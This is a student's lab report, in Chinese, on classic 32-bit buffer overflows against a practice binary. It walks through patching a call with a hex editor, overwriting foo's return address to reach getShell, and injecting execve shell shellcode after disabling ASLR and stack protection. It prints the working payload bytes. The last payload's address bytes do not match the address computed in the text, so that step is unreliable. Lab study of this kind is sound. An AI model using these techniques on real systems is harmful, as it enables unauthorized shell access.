实验一 缓冲区溢出与shellcode 20222320

20222320 2024-2025-1 《网络与系统攻防技术》实验一 实验报告

1.实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。资料区直接下载

该程序正常执行会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段,三个实践内容如下:

    1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3.注入一个shellcode并运行这段shellcode。

2.实验过程

1.通过修改可执行文件,改变程序执行流程

   使用命令对pwn1进行反编译:objdump -d pwn1 | more


可以看到,main函数里面有个call调用了foo函数,这里就需要将foo函数的地址改为getshell的地址。因此,就需要将804891改为getshell位置。getshell函数的首地址为80487d,于是该改为80487d-8048ba=-61=0xffffc3,即存储为0xc3ffff,于是修改就行。

  vim pwn1
  %!xxd   //查看16进制


找到e8 d7对应位置改为e8 c3

%!xxd -r
mv pwn1 pwn2_direct   //顺便改个名

撤销16进制,不然文件无法运行。然后再次反编译查看是否成功更改:

可以看出,之前foo现在改为了getshell,说明已经成功更改了。main函数调用的话的将会是getshell。运行一下试试:

可以看出,现在没有简单回复字符串,输入ls回复的是当前文件,说明成功调用了getshell函数,第一部分完成

2.利用foo的bof漏洞,构造过多输入覆盖返回地址,调用getshell函数

查看一下foo函数的反编译代码,为缓冲区溢出找机会:

可以看到,foo分配了0x38的字节做存储范围,其中有0x1c给gets,即28字节;又因为要传递地址,所以要给28+4=32字节来覆盖缓冲区,将其返回地址覆盖到getshell的地址。所以要构造输入才行,先用大量输入试试看缓冲区:

这里用gdb调试,查看寄存器

info r

注意到eip的内容是4455,数一下多少字节才让它溢出到这里:

共28字节,与之前计算一样,那就可以大胆构造输入来调用getshell了!之前看到了getshell的地址为0x080487d,倒着输入就是:

perl -e 'print "yyyyyysssssscccccchhhhjjjjyyyy20\x7d\x84\x04\x08"' > input

构造完后查看一下是否正确:

xdd input


输入是正确的,那直接上吧

完成了,下面的输出看出,已经是getshell在发挥作用了,所以通过输入完成了缓冲区溢出调用getshell。第二部分也成功完成

3.注入一个shellcode并运行这段shellcode

自己制作shellcode太麻烦了,直接用实验指导的的shellcode;在实验之前要先将pwn3设置为堆栈可执行

  execstack -s ./pwn3
  execstack -q ./pwn3


这里输出

X pwn3

设置完成;同时还要关闭地址随机化,不然获取到的地址不是运行时地址;kali自身的安全系统默认为2级,这是不能直接使用的

echo "0" > /proc/sys/kernel/randomize_va_space

同时查看一下是否成功设置,免得后面出问题找不到原因

more /proc/sys/kernel/randomize_va_space


准备工作完成,接下来就是分析foo函数的返回地址,这次我们尝试使用foo的return地址,在gdb中调试分析

perl -e 'print "A" x 32;print     "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

其中,1234是占位符,用来检测是否成功的

(cat input_shellcode; cat) | ./pwn3

用input_shellcode作为输入注入,回车运行后,光标还在闪烁。这时先不着急退出,打开新终端查看进程号

ps -ef | grep pwn3


其中44084就是进程号,其他不管就行。再在新终端中用gdb调试

gdb pwn3

再查找进程

attach 44084

最后反编译foo函数分析

disassemble foo


最后结果如图,ret地址为0x080484ae,这里打个断点进行调试

break *0x080484ae

按“c”继续运行后,这里要先将老终端关闭。再查看栈顶指针

info r esp

这里存放的地址为0xffffd3ac,再查看一下这里寄存的内容

x/16x 0xffffd3ac


这里存的是1234,说明构造的是成功的,接下来计算地址,栈顶指针加4字节就是shellcode该有的位置,计算一下0xffffd3ac + 4 = 0xffffd3b0
之前讲过是小端存储,所以倒过来输入,构造输入文件:

perl -e 'print "A" x 32;print   "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' >                                                      input_shellcode

将之前1234换成地址就行,保存运行一下

(cat input_shellcode; cat) | ./pwn3


好的,成功运行shellcode,实验第三部分成功

3.问题及解决方案

  • 问题1:计算函数地址,比如部分一的偏移量,部分三地址等

  • 问题1解决方案:

    首先记住是小端存储,一个地址4字节,栈顶指针加4之类的;偏移量补码计算

  • 问题2:输入gdb指令无响应

  • 问题2解决方案:

    先用

    gdb -v

    看是否安装,发现没有,这下就得自己安装了啊。用apt尝试一下

    apt install gdb

    显示连接问题,无法连接;那只能看一下下载源了。打开发现是kali官网的下载源,换成国内镜像试试

    vim /etc/apt/sources.list
    deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

    可以了,看来还是网络问题啊

  • 问题3:第二部分输入后,程序直接正常退出

  • 问题3解决方案:

    输入少了,缓冲区都没溢出,直接就结束了。所以要多输入才能让缓冲区溢出,程序出问题才能停下。

  • 问题4:下载execstack出问题,镜像也不行

  • 问题4解决方案:

    没办法,找不到简单的解决方式,只能手动的到官网找下载链接下载相关包安装

4.学习感悟、思考等

这次实验,我更深的了解了缓冲区溢出的相关原理以及相关工具的使用。上网查找问题也锻炼了我的寻找问题、动手能力。学会了反编译文件和16进制查看文件的能力。能够修改,找到缓冲区和尝试用输出定位寄存器区大小。最提高的就是我的gdb使用能力,在这之前我都是用ide的gdb来调试,这是第一次在linux用命令行来进行文件调试;也发现了它不仅能直接对文件,寄存器查看,还能对相关进程的寄存器都能查看,功能过于强大了吧。很多代码都是参考文件和网上查找,结合实际输出的来进行。同时遇到的问题也不止写出来的那些,奇奇怪怪的问题也锻炼了我的耐心(一个莫名其妙的问题能卡我半小时)。完成实验后,我觉得我对缓冲区溢出还是多掌握了不少的,获益很多。

参考资料

posted @ 2024-10-06 14:03  20222320  阅读(23)  评论(0编辑  收藏  举报